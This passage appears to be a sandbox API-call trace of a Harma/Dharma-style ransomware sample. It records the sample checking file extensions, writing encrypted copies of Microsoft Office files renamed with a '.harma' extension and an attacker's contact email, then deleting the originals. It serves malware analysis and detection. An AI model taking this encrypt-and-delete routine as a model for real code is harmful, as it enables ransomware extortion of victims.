(lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.828] lstrlenW (lpString=".jpg") returned 4 [0168.828] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.829] lstrlenW (lpString=".doc") returned 4 [0168.829] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0168.829] lstrlenW (lpString=".docx") returned 5 [0168.829] lstrcmpiW (lpString1=".docx", lpString2="W.EXE") returned -1 [0168.829] lstrlenW (lpString=".pdf") returned 4 [0168.829] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0168.829] lstrlenW (lpString=".xls") returned 4 [0168.829] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0168.829] lstrlenW (lpString=".xlsx") returned 5 [0168.829] lstrcmpiW (lpString1=".xlsx", lpString2="W.EXE") returned -1 [0168.829] lstrlenW (lpString=".ppt") returned 4 [0168.829] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.829] lstrlenW (lpString=".zip") returned 4 [0168.829] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0168.829] lstrlenW (lpString=".rar") returned 4 [0168.829] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0168.829] lstrlenW (lpString=".bz2") returned 4 [0168.829] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0168.829] lstrlenW (lpString=".7z") returned 3 [0168.829] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.829] lstrlenW (lpString=".dbf") returned 4 [0168.829] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.829] lstrlenW (lpString=".1cd") returned 4 [0168.829] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.829] lstrlenW (lpString=".jpg") returned 4 [0168.829] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0168.830] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0168.830] lstrlenW (lpString="LOCALDV.DLL") returned 11 [0168.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0168.831] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=37248) returned 1 [0168.831] CloseHandle (hObject=0x210) returned 1 [0168.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll")) returned 0x20 [0168.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.831] lstrlenW (lpString=".doc") returned 4 [0168.831] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.831] lstrlenW (lpString=".docx") returned 5 [0168.831] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0168.831] lstrlenW (lpString=".pdf") returned 4 [0168.832] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString=".xls") returned 4 [0168.832] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString=".xlsx") returned 5 [0168.832] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0168.832] lstrlenW (lpString=".ppt") returned 4 [0168.832] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.832] lstrlenW (lpString=".zip") returned 4 [0168.832] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString=".rar") returned 4 [0168.832] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString=".bz2") returned 4 [0168.832] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.832] lstrlenW (lpString=".7z") returned 3 [0168.832] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.832] lstrlenW (lpString=".dbf") returned 4 [0168.832] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.832] lstrlenW (lpString=".1cd") returned 4 [0168.832] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.832] lstrlenW (lpString=".jpg") returned 4 [0168.832] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.832] lstrlenW (lpString=".doc") returned 4 [0168.832] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.832] lstrlenW (lpString=".docx") returned 5 [0168.833] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0168.833] lstrlenW (lpString=".pdf") returned 4 [0168.833] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString=".xls") returned 4 [0168.833] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString=".xlsx") returned 5 [0168.833] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0168.833] lstrlenW (lpString=".ppt") returned 4 [0168.833] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.833] lstrlenW (lpString=".zip") returned 4 [0168.833] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString=".rar") returned 4 [0168.833] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.833] lstrlenW (lpString=".bz2") returned 4 [0168.833] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.833] lstrlenW (lpString=".7z") returned 3 [0168.833] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.833] lstrlenW (lpString=".dbf") returned 4 [0168.833] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.833] lstrlenW (lpString=".1cd") returned 4 [0168.833] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0168.833] lstrlenW (lpString=".jpg") returned 4 [0168.833] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.834] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0168.834] lstrlenW (lpString="ODBCR.SAM") returned 9 [0168.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0168.835] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=11664) returned 1 [0168.835] CloseHandle (hObject=0x210) returned 1 [0168.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam")) returned 0x20 [0168.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0169.070] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.070] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0169.071] GetLastError () returned 0x0 [0169.071] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x2d90, lpOverlapped=0x0) returned 1 [0169.170] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x2da0, lpOverlapped=0x0) returned 1 [0169.171] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0169.171] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0169.171] SetEndOfFile (hFile=0x3a0) returned 1 [0169.562] CloseHandle (hObject=0x3a0) returned 1 [0169.562] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.562] SetEndOfFile (hFile=0x2e8) returned 1 [0169.681] CloseHandle (hObject=0x2e8) returned 1 [0169.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam")) returned 1 [0169.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.693] lstrlenW (lpString=".doc") returned 4 [0169.694] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.694] lstrlenW (lpString=".docx") returned 5 [0169.694] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0169.694] lstrlenW (lpString=".pdf") returned 4 [0169.694] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.694] lstrlenW (lpString=".xls") returned 4 [0169.694] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.694] lstrlenW (lpString=".xlsx") returned 5 [0169.694] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0169.694] lstrlenW (lpString=".ppt") returned 4 [0169.694] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.694] lstrlenW (lpString=".zip") returned 4 [0169.694] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.694] lstrlenW (lpString=".rar") returned 4 [0169.694] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.694] lstrlenW (lpString=".bz2") returned 4 [0169.694] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.694] lstrlenW (lpString=".7z") returned 3 [0169.694] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.694] lstrlenW (lpString=".dbf") returned 4 [0169.694] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.695] lstrlenW (lpString=".1cd") returned 4 [0169.695] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.695] lstrlenW (lpString=".jpg") returned 4 [0169.695] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.695] lstrlenW (lpString=".doc") returned 4 [0169.695] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.695] lstrlenW (lpString=".docx") returned 5 [0169.695] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0169.695] lstrlenW (lpString=".pdf") returned 4 [0169.695] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.695] lstrlenW (lpString=".xls") returned 4 [0169.695] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.695] lstrlenW (lpString=".xlsx") returned 5 [0169.716] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0169.716] lstrlenW (lpString=".ppt") returned 4 [0169.716] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.716] lstrlenW (lpString=".zip") returned 4 [0169.716] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.716] lstrlenW (lpString=".rar") returned 4 [0169.716] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.716] lstrlenW (lpString=".bz2") returned 4 [0169.716] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.716] lstrlenW (lpString=".7z") returned 3 [0169.716] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.716] lstrlenW (lpString=".dbf") returned 4 [0169.716] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.716] lstrlenW (lpString=".1cd") returned 4 [0169.716] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0169.716] lstrlenW (lpString=".jpg") returned 4 [0169.716] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.717] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0169.717] lstrlenW (lpString="PABR.SAM") returned 8 [0169.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0169.718] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=11144) returned 1 [0169.718] CloseHandle (hObject=0x338) returned 1 [0169.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 0x20 [0169.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0169.718] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.719] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0169.762] GetLastError () returned 0x0 [0169.762] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x2b88, lpOverlapped=0x0) returned 1 [0169.851] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x2b90, lpOverlapped=0x0) returned 1 [0169.852] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0169.852] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe4, lpOverlapped=0x0) returned 1 [0169.852] SetEndOfFile (hFile=0x2e8) returned 1 [0169.852] CloseHandle (hObject=0x2e8) returned 1 [0169.852] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.852] SetEndOfFile (hFile=0x338) returned 1 [0169.855] CloseHandle (hObject=0x338) returned 1 [0169.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 1 [0169.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.860] lstrlenW (lpString=".doc") returned 4 [0169.860] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.860] lstrlenW (lpString=".docx") returned 5 [0169.860] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0169.860] lstrlenW (lpString=".pdf") returned 4 [0169.860] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.860] lstrlenW (lpString=".xls") returned 4 [0169.860] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.860] lstrlenW (lpString=".xlsx") returned 5 [0169.860] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0169.860] lstrlenW (lpString=".ppt") returned 4 [0169.860] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.860] lstrlenW (lpString=".zip") returned 4 [0169.860] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.861] lstrlenW (lpString=".rar") returned 4 [0169.861] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.861] lstrlenW (lpString=".bz2") returned 4 [0169.861] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.861] lstrlenW (lpString=".7z") returned 3 [0169.861] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.861] lstrlenW (lpString=".dbf") returned 4 [0169.861] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.861] lstrlenW (lpString=".1cd") returned 4 [0169.861] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.861] lstrlenW (lpString=".jpg") returned 4 [0169.861] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.861] lstrlenW (lpString=".doc") returned 4 [0169.861] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.861] lstrlenW (lpString=".docx") returned 5 [0169.861] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0169.861] lstrlenW (lpString=".pdf") returned 4 [0169.861] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.861] lstrlenW (lpString=".xls") returned 4 [0169.861] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.861] lstrlenW (lpString=".xlsx") returned 5 [0169.861] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0169.861] lstrlenW (lpString=".ppt") returned 4 [0169.861] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.862] lstrlenW (lpString=".zip") returned 4 [0169.862] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.862] lstrlenW (lpString=".rar") returned 4 [0169.862] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.862] lstrlenW (lpString=".bz2") returned 4 [0169.862] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.862] lstrlenW (lpString=".7z") returned 3 [0169.862] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.862] lstrlenW (lpString=".dbf") returned 4 [0169.862] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.862] lstrlenW (lpString=".1cd") returned 4 [0169.862] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0169.862] lstrlenW (lpString=".jpg") returned 4 [0169.862] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.862] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0169.862] lstrlenW (lpString="TRANSMRR.DLL") returned 12 [0169.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0169.864] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=13712) returned 1 [0169.864] CloseHandle (hObject=0x338) returned 1 [0169.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll")) returned 0x20 [0169.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft 